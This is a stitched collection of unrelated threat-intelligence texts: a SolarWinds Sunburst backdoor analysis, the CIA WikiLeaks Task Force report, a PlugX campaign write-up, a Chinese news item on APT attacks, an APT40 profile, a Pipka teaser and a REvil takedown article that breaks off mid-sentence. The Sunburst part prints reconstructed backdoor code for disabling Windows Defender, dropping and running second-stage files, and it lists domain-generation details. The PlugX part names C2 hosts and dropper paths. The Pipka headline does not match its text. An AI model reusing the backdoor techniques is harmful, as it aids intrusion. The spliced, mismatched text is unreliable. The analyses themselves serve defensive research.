### Use of Cloud Infrastructure to Conduct DDoS Attacks The low barrier of entry for cloud computing in the form of trials or free tiers offered by cloud service providers (CSPs), the ability to instantly create and scale resources, and the readily available tooling has unlocked new opportunities for bad actors. In Q3 2022, Google’s Trust and Safety team observed an increase in outbound layer 7 distributed denial-of-service (DDoS) abuse on Google Cloud. Attackers have shifted from relying on compromised computers in residential environments to leveraging cloud resources in data centers to achieve their goals.
# Sunburst Backdoor: A Deeper Look Into The SolarWinds' Supply Chain Malware As earlier reported by FireEye, the actors behind a global intrusion campaign have managed to trojanise SolarWinds Orion business software updates in order to distribute malware. The original FireEye write-up already provides a detailed description of this malware. Nevertheless, as the malicious update SolarWinds-Core-v2019.4.5220-Hotfix5.msp was still available for download for hours since FireEye's post, it makes sense to have another look into the details of its operation. The purpose of this write-up is to provide new information, not covered in the original write-up. Any overlaps with the original description provided by FireEye are not intentional. For start, the malicious component `SolarWinds.Orion.Core.BusinessLayer.dll` inside the MSP package is a non-obfuscated .NET assembly. It can easily be reconstructed with a .NET disassembler, such as ILSpy, and then fully reproduced in C# code, using Microsoft Visual Studio. Once reproduced, it can be debugged to better understand how it works. In a nutshell, the malicious DLL is a backdoor. It is loaded into the address space of the legitimate SolarWinds Orion process `SolarWinds.BusinessLayerHost.exe` or `SolarWinds.BusinessLayerHostx64.exe`. The critical strings inside the backdoor's class `SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer` are encoded with the `DeflateStream` Class of the .NET's `System.IO.Compression` library, coupled with the standard base64 encoder. ## Initialisation Once loaded, the malware checks if its assembly file was created earlier than 12, 13, or 14 days ago. The exact number of hours it checks is a random number from 288 to 336. Next, it reads the application settings value `ReportWatcherRetry`. This value keeps the reporting status and may be set to one of the states: - New (4) - Truncate (3) - Append (5) When the malware runs the first time, its reporting status variable `ReportWatcherRetry` is set to New (4). The reporting status is an internal state that drives the logic. For example, if the reporting status is set to Truncate, the malware will stop operating by first disabling its networking communications, and then disabling other security tools and antivirus products. In order to stay silent, the malware periodically falls asleep for a random period of time that varies between 30 minutes and 2 hours. At the start, the malware obtains the computer's domain name. If the domain name is empty, the malware quits. It then generates an 8-byte User ID, which is derived from the system footprint. In particular, it is generated from the MD5 hash of a string that consists of the following fields: - The first or default operational (can transmit data packets) network interface's physical address - Computer's domain name - UUID created by Windows during installation (machine's unique ID) Even though it looks random, the User ID stays permanent as long as networking configuration and the Windows installation stay the same. ## Domain Generation Algorithm The malware relies on its own `CryptoHelper` class to generate a domain name. This class is instantiated from the 8-byte User ID and the computer's domain name, encoded with a substitution table: "rq3gsalt6u1iyfzop572d49bnx8cvmkewhj". For example, if the original domain name is "domain", its encoded form will look like: "n2huov". To generate a new domain, the malware first attempts to resolve the domain name "api.solarwinds.com". If it fails to resolve it, it quits. The first part of the newly generated domain name is a random string, produced from the 8-byte User ID, a random seed value, and encoded with a custom base64 alphabet "ph2eifo3n5utg1j8d94qrvbmk0sal76c". Because it is generated from a random seed value, the first part of the newly generated domain name is random. For example, it may look like "fivu4vjamve5vfrt" or "k1sdhtslulgqoagy". To produce the domain name, this string is then appended with the earlier encoded domain name (such as "n2huov") and a random string, selected from the following list: - .appsync-api.eu-west-1[.]avsvmcloud[.]com - .appsync-api.us-west-2[.]avsvmcloud[.]com - .appsync-api.us-east-1[.]avsvmcloud[.]com - .appsync-api.us-east-2[.]avsvmcloud[.]com For example, the final domain name may look like: - `fivu4vjamve5vfrtn2huov[.]appsync-api.us-west-2[.]avsvmcloud[.]com` - `k1sdhtslulgqoagyn2huov[.]appsync-api.us-east-1[.]avsvmcloud[.]com` Next, the domain name is resolved to an IP address, or to a list of IP addresses. For example, it may resolve to 20.140.0.1. The resolved domain name will be returned into `IPAddress` structure that will contain an `AddressFamily` field - a special field that specifies the addressing scheme. If the host name returned in the `IPAddress` structure is different from the queried domain name, the returned host name will be used as a C2 host name for the backdoor. Otherwise, the malware will check if the resolved IP address matches one of the patterns below, in order to return an 'address family': | IP Address | Subnet Mask | 'Address Family' | |------------------|------------------|-------------------| | 10.0.0.0 | 255.0.0.0 | Atm | | 172.16.0.0 | 255.240.0.0 | Atm | | 192.168.0.0 | 255.255.0.0 | Atm | | 224.0.0.0 | 240.0.0.0 | Atm | | fc00:: | fe00:: | Atm | | fec0:: | ffc0:: | Atm | | ff00:: | ff00:: | Atm | | 41.84.159.0 | 255.255.255.0 | Ipx | | 74.114.24.0 | 255.255.248.0 | Ipx | | 154.118.140.0 | 255.255.255.0 | Ipx | | 217.163.7.0 | 255.255.255.0 | Ipx | | 20.140.0.0 | 255.254.0.0 | ImpLink | | 96.31.172.0 | 255.255.255.0 | ImpLink | | 131.228.12.0 | 255.255.252.0 | ImpLink | | 144.86.226.0 | 255.255.255.0 | ImpLink | | 8.18.144.0 | 255.255.254.0 | NetBios | | 18.130.0.0 | 255.255.0.0 | NetBios | | 71.152.53.0 | 255.255.255.0 | NetBios | | 99.79.0.0 | 255.255.0.0 | NetBios | | 87.238.80.0 | 255.255.248.0 | NetBios | | 199.201.117.0 | 255.255.255.0 | NetBios | | 184.72.0.0 | 255.254.0.0 | NetBios | For example, if the queried domain resolves to 20.140.0.1, it will match the entry in the table 20.140.0.0, for which the returned 'address family' will be ImpLink. The returned 'address family' invokes additional logic in the malware. ## Disabling Security Tools and Antivirus Products If the returned 'address family' is ImpLink or Atm, the malware will enumerate all processes and for each process, it will check if its name matches one of the pre-defined hashes. Next, it repeats this process for services and for the drivers installed in the system. If a process name or a full path of an installed driver matches one of the pre-defined hashes, the malware will disable it. For hashing, the malware relies on the Fowler–Noll–Vo algorithm. For example, the core process of Windows Defender is `MsMpEng.exe`. The hash value of "MsMpEng" string is 5183687599225757871. This value is specifically enlisted in the malware's source under a variable name `timeStamps`: ```csharp timeStamps = new ulong[1] { 5183687599225757871uL } ``` The service name of Windows Defender is `windefend` - the hash of this string (917638920165491138) is also present in the malware body. As a result, the malicious DLL will attempt to stop the Windows Defender service. In order to disable various security tools and antivirus products, the malware first grants itself `SeRestorePrivilege` and `SeTakeOwnershipPrivilege` privileges, using the native `AdjustTokenPrivileges()` API. With these privileges enabled, the malware takes ownership of the service registry keys it intends to manipulate. The new owner of the keys is first attempted to be explicitly set to the Administrator account. If such an account is not present, the malware enumerates all user accounts, looking for a SID that represents the administrator account. The malware uses Windows Management Instrumentation query "Select * From Win32_UserAccount" to obtain the list of all users. For each enumerated user, it makes sure the account is local and then, when it obtains its SID, it makes sure the SID begins with S-1-5- and ends with -500 in order to locate the local administrator account. Once such an account is found, it is used as a new owner for the registry keys, responsible for manipulation of the services of various security tools and antivirus products. With the new ownership set, the malware then disables these services by setting their Start value to 4 (Disabled): ```csharp registryKey2.SetValue("Start", 4, RegistryValueKind.DWord); ``` ## HTTP Backdoor If the returned 'address family' for the resolved domain name is NetBios, as specified in the lookup table above, the malware will initialise its `HttpHelper` class, which implements an HTTP backdoor. The backdoor commands are covered in the FireEye write-up, so let's check only a couple of commands to see what output they produce. One of the backdoor commands is `CollectSystemDescription`. As its name suggests, it collects system information. By running the code reconstructed from the malware, here is an actual example of the data collected by the backdoor and delivered to the attacker's C2 with a separate backdoor command `UploadSystemDescription`: 1. %DOMAIN_NAME% 2. S-1-5-21-298510922-2159258926-905146427 3. DESKTOP-VL39FPO 4. UserName 5. [E] Microsoft Windows NT 6.2.9200.0 6.2.9200.0 64 6. C:\WINDOWS\system32 7. 0 8. %PROXY_SERVER% Description: Killer Wireless-n/a/ac 1535 Wireless Network Adapter #2 MACAddress: 9C:B6:D0:F6:FF:5D DHCPEnabled: True DHCPServer: 192.168.20.1 DNSHostName: DESKTOP-VL39FPO DNSDomainSuffixSearchOrder: Home DNSServerSearchOrder: 8.8.8.8, 192.168.20.1 IPAddress: 192.168.20.30, fe80::8412:d7a8:57b9:5886 IPSubnet: 255.255.255.0, 64 DefaultIPGateway: 192.168.20.1, fe80::1af1:45ff:feec:a8eb NOTE: Field #7 specifies the number of days (0) since the last system reboot. `GetProcessByDescription` command will build a list of processes running on a system. This command accepts an optional argument, which is one of the custom process properties enlisted here. If the optional argument is not specified, the backdoor builds a process list that looks like: ``` [ 1720] svchost [ 8184] chrome [ 4732] svchost ``` If the optional argument is specified, the backdoor builds a process list that includes the specified process property in addition to parent process ID, username, and domain for the process owner. For example, if the optional argument is specified as "ExecutablePath", the `GetProcessByDescription` command may return a list similar to: ``` [ 3656] sihost.exe C:\WINDOWS\system32\sihost.exe 1720 DESKTOP-VL39FPO\UserName [ 3824] svchost.exe C:\WINDOWS\system32\svchost.exe 992 DESKTOP-VL39FPO\UserName [ 9428] chrome.exe C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 4600 DESKTOP-VL39FPO\UserName ``` Other backdoor commands enable deployment of the 2nd stage malware. For example, the `WriteFile` command will save the file: ```csharp using (FileStream fileStream = new FileStream(path, FileMode.Append, FileAccess.Write)) { fileStream.Write(array, 0, array.Length); } ``` The downloaded 2nd stage malware can then be executed with the `RunTask` command: ```csharp using (Process process = new Process()) { process.StartInfo = new ProcessStartInfo(fileName, arguments) { CreateNoWindow = false, UseShellExecute = false }; if (process.Start()) ... } ``` Alternatively, it can be configured to be executed with the system restart, using registry manipulation commands, such as `SetRegistryValue`.
# WikiLeaks Task Force Final Report ## Executive Summary WikiLeaks’ announcement on 7 March that it possessed cyber tools from CIA’s Center for Cyber Intelligence (CCI), dubbed “Vault 7,” marked the largest data loss in CIA history. In its initial public disclosure, WikiLeaks provided the names and brief descriptions of multiple tools that CIA developed for cyber operations. Since 7 March, WikiLeaks has published more comprehensive descriptions of 35 tools, including internal CIA documents associated with each tool. We assess that in spring 2016 a CIA employee stole at least 180 gigabytes to as much as 34 terabytes of information. This is roughly equivalent to 11.6 million to 2.2 billion pages in Microsoft Word. This data loss includes cyber tools that resided on the Center for Cyber Intelligence (CCI) software development network (DevLAN). We cannot determine the precise scope of the loss because, like other mission systems at that time, DevLAN did not require user activity monitoring or other safeguards that exist on our enterprise system. To date, WikiLeaks has released user and training guides and limited source code from two parts of DevLAN: Stash, a source code repository, and Confluence, a collaboration and communication platform. All of the documents reveal, to varying degrees, CIA’s tradecraft in cyber operations. This product is intended for internal Agency use. ### Critical Context CCI: The WikiLeaks breach occurred at CCI, whose mission is to transform intelligence through cyber operations. It would be unfair to lay the blame for the breach with the current management, as the breach occurred before most joined CCI. Equally, CCI correctly notes that the mission system in question complied with all Agency requirements at the time of the breach. However, in a press to meet growing and critical mission needs, CCI had prioritized building cyber weapons at the expense of securing their own systems. Day-to-day security practices had become woefully lax. The Development Network (DevLAN) on which CCI’s work product resided had been certified and accredited, but CCI had not worked with CIMC to develop or deploy user activity monitoring or robust server audit capability. Most of our sensitive cyber weapons were not compartmented, users shared systems administrator-level passwords, there were no effective removable media controls, and historical data was available to users indefinitely. Furthermore, CCI focused on building cyber weapons and neglected to also prepare mitigation packages if those tools were exposed. These shortcomings were emblematic of a culture that evolved over years that too often prioritized creativity and collaboration at the expense of security. Mission Systems: CIA has moved too slowly to put in place the safeguards that we knew were necessary given successive breaches to other US Government agencies. For nearly a decade, WikiLeaks has exploited the digital realm to profoundly reshape opportunities for individuals sworn to protect our nation’s secrets to leak classified or sensitive information. While CIA was an early leader in securing our enterprise information technology (IT) system, we failed to correct acute vulnerabilities to our mission IT systems. Because the stolen data resided on a mission system that lacked user activity monitoring and a robust server audit capability, we did not realize the loss had occurred until a year later, when WikiLeaks publicly announced it in March 2017. Had the data been stolen for the benefit of a state adversary and not published, we might still be unaware of the loss—as would be true for the vast majority of data on Agency mission systems. The Agency for years has developed and operated IT mission systems outside the purview and governance of enterprise IT, citing the need for mission functionality and speed. While often fulfilling a valid purpose, this “shadow IT” exemplifies a broader cultural issue that separates enterprise IT from mission IT, has allowed mission system owners to determine how or if they will police themselves, and has placed the Agency at unacceptable risk. This wake-up call presents us with an opportunity to right longstanding imbalances and lapses, to reorient how we view risk. We must recognize when we are taking smart risks and when operational shortcuts or waivers create unwarranted risk to our work and to the Agency. We must care as much about securing our systems as we care about running them if we are to make the necessary revolutionary change. ## Recommendations The WikiLeaks Vault 7 disclosures have brought to light multiple ongoing CIA failures that our recommendations are designed to address: - We failed to equip the mission system in question with user activity monitoring and robust server audit capability, which could have deterred, detected, and possibly prevented the theft. - We failed to empower any single officer with the ability to ensure that all Agency information systems are built secure and remain so throughout their life cycle. Because no one had that ability, no one was accountable—and the mission system in question, like others, lacked appropriate security. - We failed to ensure that our ability to secure our information systems against emerging threats kept pace with the growth of such systems across the Agency. - We failed to recognize or act in a coordinated fashion on warning signs that a person or persons with access to CIA classified information posed an unacceptable risk to national security. Recommendation A5: Enhance information technology security guidelines and classified information handling restrictions for zero-day exploits and offensive cyber tools, consistent with Executive Order 13526, Classified National Security Information. We judge the vulnerability of and threat to this information is exceptional and warrants additional security protections, to include requiring segmentation of knowledge, tools, and people through physical and logical infrastructure, policy and procedural controls, and enforcing strict need-to-know access to the tools and exploits. The WikiLeaks disclosures revealed resource-driven gaps and weaknesses in CIA’s insider threat program. There have been seams in communication between components such as the Office of Medical Services, Human Resources, Security, Counterintelligence Mission Center, and line management that have sometimes prevented us from connecting the dots to corporately detect and address insider threats. We have been slow—due to resource choices and cultural resistance—to extend state-of-the-art audit and user activity monitoring technology to mission systems not connected to the main enterprise network. Frequent personnel security reviews and training have focused on enterprise “privileged users,” defined as individuals designated and entrusted by managers to perform elevated functions on a network, system, or application. This does not include privileged users on mission systems or those with extraordinary access or capabilities, such as EDG developers. Data in Confluence, a collaboration and communication platform, and some data in Stash, a source code repository, have been released by WikiLeaks; we assess WikiLeaks possesses all of the Confluence and Stash data. However, we now assess with moderate confidence that WikiLeaks does not possess the Gold folder of final versions of all developed tools and source code that resided on the Development Network (DevLAN), even though WikiLeaks claims it has released only a small slice of the archive it possesses. The Gold folder was better protected; WikiLeaks so far has released data in Stash despite the availability of newer, easier to exploit versions of tools in Gold; and Gold’s size, several terabytes, made it harder to export. We are making educated assumptions about the scope and timing of the loss, in part because we lacked effective monitoring and auditing of this mission system. The WikiLeaks disclosures revealed gaps and weaknesses in CIA’s Insider Threat program, which has traditionally relied on close coordination between the Office of Security and CIMC. Among the gaps are the seams in communication between components such as the Office of General Counsel, Medical Services, Human Resources, security, counterintelligence, and line management that have sometimes prevented us from connecting the dots to corporately detect and address Insider Threat issues.
# PlugX Goes to the Registry (and India) ## Overview Recently we published a paper about the capabilities of APT groups. One of the conclusions of the paper was that the authors behind the targeted attack campaigns usually have little knowledge about the actual exploit they are using to distribute their malware. But at the same time, we warned our readers never to underestimate them, because otherwise they are skilled, and quite capable of developing sophisticated backdoors. One of the worst performances in our comparison of exploit development belonged to the infamous PlugX malware group(s). However, they recently came out with a couple of significant developments in the backdoor component, demonstrating the point above. One of the improvements was the introduction of a peer-to-peer communication channel to other infected hosts. Variants using this technology have previously been spotted in the Rotten Tomato campaign. Now additional samples have shown up from this generation. But in addition to the new communication method, some of them were showing another new characteristic: the payload was not stored as separate files, or embedded within the loader DLL, but instead was saved to the registry. Malware hiding components in the registry is not a revolutionary idea; we have seen that before. Most notably, the recent Poweliks Trojan stored the active script component in the registry. Even some of the APT malware families, like Poison or Frethog, occasionally used the registry as storage for the main payload. There were precursors even within the criminal groups distributing PlugX: they used this method back in 2013 in a couple of cases for storing the Omdork (a.k.a. Sybin) payload. So it was only a question of when the same would happen to the main PlugX backdoor. And that time arrived this January. ## PlugX in Registry The new variants were distributed using two distinguishable classes of exploited carrier documents – though in both cases the CVE-2012-0158 exploit was used. For the first type, the distribution was part of a longer campaign targeting India. This campaign spanned several months, from September 2014 to February 2015. During this time span, different variants of the PlugX backdoor were observed as the final payload. Apparently, this was an ongoing operation, where the actors behind it used the latest available versions, as they came out of the factory. Additionally, a few affiliated malware families were distributed to the targets. The samples of the second type showed up the first week of February. At this point, we don’t have conclusive information about the scope and target of the campaign that used these samples. The payload is stored in encrypted form in the registry. It is loaded, decrypted, and executed by the malware loader component. That loader is very similar to the usual PlugX loader DLLs, except that it loads the payload from a registry key instead of a separate file. ### PlugX Payload in the Registry The stored payload is the new P2P PlugX backdoor, with internal function names not seen in earlier PlugX v2 versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1. PlugX backdoors use a specific date parameter at specific places in the code. This constant could be used as a major version identifier: when the backdoor code was only slightly modified, the constant did not change. When the constant was updated, that usually meant a significant change in the code. In earlier versions, this constant was a meaningful date in hexadecimal representation (e.g., 0x20130810 in most of the next generation PlugX samples). In the P2P PlugX version, it changed, now being a meaningful date in decimal representation (e.g., 0x13352AF = 20140719 in the case of the Rotten Tomato samples). In the case of registry stored PlugX variants, this constant was stepped further to 20150108, which indicates a new development from the factory. Less than a month later, these new variants were already spotted in targeted campaigns in India. ## Peeled Tomato The first campaign we labelled as Peeled Tomato, in reference to the earlier Rotten Tomato case, because they were clearly derived from those samples. As a reminder, the original structure of the Rotten Tomato samples was the following: - Encrypted Zbot - CVE-2012-0158 exploit and shellcode - CVE-2014-1761 exploit and first stage shellcode - Memory marker and CVE-2014-1761 second stage shellcode - Encrypted PlugX The RTF documents started with an encrypted Zbot Trojan (remainder of the original template used for creating the samples), then a block using the CVE-2012-0158 exploit and the corresponding shellcode. After that, there was a block using the CVE-2014-1761 exploit and the corresponding first stage shellcode, followed by the second stage shellcode from the CVE-2014-1761 exploit, and finally the encrypted PlugX backdoor. The first stage of the CVE-2014-1761 shellcode used a bad offset for the second stage code, thus this exploit never worked. Having realized the failure of the attempt, the malware authors removed the CVE-2014-1761 exploit block. But even that was not done completely. As a result, they ended up with documents showing the following structure: - Encrypted Zbot - CVE-2012-0158 exploit and shellcode - Memory marker and CVE-2014-1761 second stage shellcode - Encrypted PlugX ### Samples Not surprisingly, just like with several other campaigns, in this case, it was observed that different malware families were distributed using similar carrier documents; only the encrypted payload was replaced at the end of the file. The shellcode used in the carrier was very convenient for this purpose: the length and location of the final payload was stored at the end of the file. It was possible to swap the payload without needing to modify the exploit condition and the shellcode itself. And this is exactly what the malware authors did. ## PlugX v2 These samples were distributed in September and October 2014, in India. - Original name: Indian Cooking Recipe.doc - System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload); registered in HKLM\SYSTEM\CurrentControlSet\Services\RasTls → ImagePath - SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP - C&C servers: supercat.strangled.net - Original name: Calling Off India-Pak Talks.doc - System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload); registered in HKLM\SYSTEM\CurrentControlSet\Services\RasTls → ImagePath - SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP - C&C servers: nusteachers.no-ip.org - Original name: Human Rights Violations of Tibet.doc - System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload); registered in HKLM\SYSTEM\CurrentControlSet\Services\RasTls → ImagePath - SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP - C&C servers: ruchi.mysq1.net ## P2P PlugX These samples were distributed in January 2015, in India. - Original name: Minutes of meeting.doc - System activity: Dropped to C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll.gui (payload); registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\gzQkNtWeabrwf → ImagePath - SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP - C&C servers: unisers.com - Original name: U.S., India to formulate smart city action plans in three months.doc - System activity: Dropped to C:\Documents and Settings\All Users\DRM\inbjUkRVq\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll.gui (payload); registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\brwTRsulGqjj → ImagePath - SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP - C&C servers: unisers.com ## Registry PlugX These samples were typically distributed in January-February 2015, in India. - Original name: CHINA NEWS BRIEF 09 of 2015.doc - System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL; registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy → ImagePath; payload stored in the registry in HKCU\Software\BINARY → SXLOC.ZAP - SAV detection: Exp/20120158-A, Troj/PlugX-AP - C&C servers: freemoney.ignorelist.com - Original name: Draft contract CMS Trg System.doc - System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL; registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy → ImagePath; payload stored in the registry in HKCU\Software\BINARY → SXLOC.ZAP - SAV detection: Exp/20120158-A, Troj/PlugX-AP - C&C servers: freemoney.ignorelist.com ## Multi-staged Installer Shellcode This second batch of exploited documents had a different structure. All start with a heading RTF content (which is exactly the same in all of the documents), followed by the block that exploits the CVE-2012-0158 vulnerability, along with the first stage shellcode, followed by the second and third stage shellcodes, and finally the encrypted payload executable. The shellcode itself is encrypted with a 4 byte XOR algorithm, with a lot of inserted junk instructions. The underlying shellcode is multi-stage and has already been observed in an earlier sample dropping a PlugX v2 variant, but in that case without the top-level cryptor. After the initial bootstrap code is decrypted, it identifies the carrier by looking for ‘DCBA’ at file offset 0x4e28. If it is found there, it allocates a memory area and decrypts (using one byte XOR algorithm) the next stage starting from right after the ID string. The second stage code decrypts and drops two files: the self-extracting installer archive M.B and the first stage installer M.T into the %TEMP% folder, then allocates another memory region, decrypts, copies, and executes the third stage shellcode there. The third stage shellcode copies the first stage installer (which is a DLL library) M.T into %WINDOWS%\Tasks\n.dll, then executes by calling LoadLibrary to load it. The Windows loader upon loading the DLL will execute its entry code. This entry code runs the self-extracting installer archive M.B which will do the final malware installation in the system. This final piece of installation process is malware family dependent. This new shellcode also indicates some heavy development in the PlugX factory. Both this kind of multi-stage shellcode and the external cryptor indicate that although the group is not top class in exploit development, in conventional malware development they show serious skills, which makes them dangerous.
# 长期窃取我国敏感数据,29个海外黑客组织被曝光 发布时间:2016-01-19 12:08:15 来源:中国经济网 作者:佚名 责任编辑:王磊 日前,360天眼实验室发布了《2015年中国高级持续性威胁(APT)研究报告》。报告显示,中国作为高级持续性威胁(APT)攻击的主要受害国,仅2015年就已发现29个针对中国境内机构进行APT攻击的黑客组织。这些APT组织长时间潜伏,有的网络间谍活动最长持续8年之久。黑客组织从中国科研、政府机构等领域窃取了大量敏感数据,对国家安全已造成严重的危害。其中,中国的教育科研、政府机构、能源、军事等行业是遭受攻击的重灾区。 《2015年中国高级持续性威胁(APT)研究报告》是对目前针对中国的APT攻击组织的年度总结。主要内容包括: 中国是高级持续性威胁(APT)攻击的主要受害国。截至2015年11月底,360天眼实验室监测到的针对中国境内科研教育、政府机构等组织单位发动APT攻击的境内外黑客组织累计29个,其中15个APT组织曾经被国外安全厂商披露过,另外14个为360天眼实验室首先发现并监测到的APT组织,其中包括2015年5月末发布的海莲花(OceanLotus)APT组织。 北京、广东是重灾区,教育科研与政府机构是主要遭攻击领域。国内多个省市受到不同程度的影响,其中北京、广东是重灾区。国内受影响量排名前五的省市是:北京、广东、浙江、江苏、福建等沿海相关省市。受影响量排名最后的五个省市是:西藏、青海、宁夏、新疆、贵州。 教育科研、政府机构是APT攻击主要针对的领域。其他受到攻击的行业还包括能源、军事、工业与商业等。科研与教育机构能够成为2015年APT攻击的首要目标,在一定程度上反映出境外APT组织对中国科技情报的“兴趣”。几乎所有境外APT组织都会将中国的政府机构列入自己的战略攻击目标。这说明绝大多数的APT组织都是具有政府背景的。 攻击持续时间长,最长可达8年。攻击者长期持续对特定目标进行精准的打击。在这29个APT组织中,针对中国境内目标的攻击最早可以追溯到2007年,该组织主要针对中国政府、军事、科技和教育等重点单位和部门,相关攻击行动最早可追溯到2007,至今还非常活跃。最近三个月(2015年9月以后)内仍然处于活跃状态的APT组织至少有9个。 我国相关机构防御薄弱,低成本攻击频频得手。针对中国的APT攻击主要由低成本的攻击组成,但由于相关防御薄弱导致低成本攻击频频得手。研究人员发现,针对中国的攻击中,APT组织更多选择1day或Nday等已知漏洞,这说明相关机构对曝出的漏洞并未及时修补,安全意识较差。此外,邮件攻击是APT攻击中使用最为频繁的攻击载体。针对中国的鱼叉邮件攻击主要是携带可执行程序,这也从侧面反映出中国相关机构的安全防御措施、以及人员的安全意识比较欠缺。 大量敏感数据被窃取,国家安全遭受严重危害。APT组织从中国科研、政府机构等领域窃取了大量敏感数据,对国家安全已造成严重的危害。其中名为APT-C-05的组织是一个针对中国攻击的境外APT组织,也是至今捕获到针对中国攻击持续时间最长的组织。APT组织窃取的具体数据内容有很大差异,但均涉及中国科研、政府等领域的敏感数据,其中窃取的敏感数据中以具备文件实体形态的文档数据为主,进一步会包括账号密码、截图等。窃取的敏感数据主要以文档为主,APT组织更关注WPS Office相关文档。WPS Office办公软件的用户一般分布在国内政府机构或事业单位。 攻击紧密围绕政济、科技、军工等热点领域。十三五规划、一带一路、军工制造等内容是APT组织关注的重点领域。国民经济和社会发展第十三个五年规划纲要(2016-2020年,简称“十三五”规划)是2016年-2020年中国经济社会发展的宏伟蓝图。稳步推进“一带一路”建设合作是中国“十三五”规划的重要内容。在2015年11月、12月期间,研究人员已捕获到针对相关目标的攻击行动,相关攻击行动主要以“一带一路”、“21世纪海上丝绸之路”等诱饵信息攻击相关领域的目标群体。 360企业安全集团总裁吴云坤表示,从本次报告的结果看,国内科研与政府等相关机构的安全防御措施亟待加强,工作人员的网络安全意识比较淡薄。在帮助政企用户加强网络安全防护上,国内安全厂商还有很多工作要做。 这是继2015年5月发布"海莲花"分析报告后,360天眼实验室第二次发布APT相关研究报告。据360天眼实验室负责人韩永刚透露,2016年360天眼实验将会持续发布APT相关报告,报告全文可以在360威胁情报中心(TI.360.com)下载浏览。 成立于2014年的360天眼实验室致力于利用大数据技术研究未知威胁。该实验室旗下的天眼系统(SkyEye System)是全球首个基于大数据的未知威胁感知系统。
# Report an Incident ## APT 40 ### Affiliations Also known as TEMP.Periscope, Leviathan, and Mudcarp. Believed to be behind the compromise of Cambodia’s election organizations and the targeting of universities' maritime military secrets. This threat actor targets defense contractors, law firms, engineering firms, shipping companies, and government agencies with responsibilities or business in the maritime industry. ### Suspected victims - United States - Hong Kong - The Philippines - Malaysia - Asia Pacific Economic Cooperation ### Suspected state sponsor China ### Type of incident Espionage ### Target category - Government - Private sector
# Pipka Card Skimmer Removes Itself After Infecting eCommerce Sites A slip-up by a malware author has allowed researchers to taxonomize three ransomware variations going by different...
# Storm in "Safe Haven": Takeaways from Russian Authorities Takedown of REvil **By Yelisey Boguslavskiy** **January 14, 2022** On January 14, 2022, the Russian Federal Security Service (FSB) claimed that they had arrested and shut down the REvil ransomware gang in Moscow and St. Petersburg in response to a request from U.S. authorities. This became one of the first and largest Russian-led operations targeting cybercrime group members active against Western countries. AdvIntel has extensively tracked underground chatter and the reactions of other ransomware groups to identify if this arrest can significantly shift the ransomware ecosystem. The consensus within the ransomware community is that the arrest itself is not yet significant, as it is part of a long-term process initiated by Russian law enforcement since Spring 2021, associated with high-profile ransomware attacks against U.S. critical infrastructure. High-profile actors affiliated with the Avaddon gang claimed that it was direct pressure from the FSB that forced the group to release security keys. Similar statements were made regarding Darkside and REvil when these groups released attack-related information. Even Conti ransomware, known for its resilience, has expressed concerns over potential pressure from Russian law enforcement. The ransomware community remains skeptical of the arrest. AdvIntel's intelligence suggests that the individuals arrested are likely low-tier affiliates linked to REvil's auxiliary operations, such as money transfers and laundering, rather than developers or skilled pentesters. The broader non-ransomware underground chatter shows moderate support for REvil's arrest, as the group had a poor reputation for scamming affiliates. Actors from the older generation of cybercrime describe ransomware as a form of intellectual primitivism, noting that it does not require sophistication, which may explain why ransomware operators were caught easily. Overall, criminals conclude that this arrest was a publicity operation aimed at demonstrating Russia's political intent to cooperate with the West on combating ransomware. ## AdvIntel’s Analysis: Geopolitics and Cryptocurrencies The timing of this arrest coincides with recent U.S.-Russia security talks and reflects the political discussions within the geopolitical relationships between the countries. AdvIntel previously noted the connection between geopolitics and cybercrime, including statements made by the Russian government about establishing a joint cybersecurity landscape with the U.S. The situation mirrors the May 2021 case when troops were concentrated on the Ukrainian border, coinciding with cyberattacks against Ukrainian government entities. The Russian government traditionally goes through rounds of escalation and de-escalation with the West, and the Kremlin may now aim to create a framework of stability in international cybersecurity. What is particularly interesting is the domestic context. The arrests are related to the hacking group charged only for "illicit money control/laundering" and not hacking. The Russian Criminal Code defines punishment for hacking with minimum sentences, making long-term sentences for hackers unlikely. This may explain why REvil members were charged with illicit funds, which has a maximum sentence of seven years. AdvIntel has investigated changes in Russian legislation regarding cryptocurrencies, predicting that the government aims to control the ransomware sector of the illicit economy. By introducing a law regulating cryptocurrencies, the Russian government seeks to take over ransomware businesses. Hackers will no longer be able to operate in the shadows, as they will be obligated to report their balances. On January 13, 2022, the day before the REvil arrest, Alexander Bastrykin, Chairman of the Russian Investigative Committee, demanded mandatory deanonymization of all cryptocurrency holders in Russia, citing 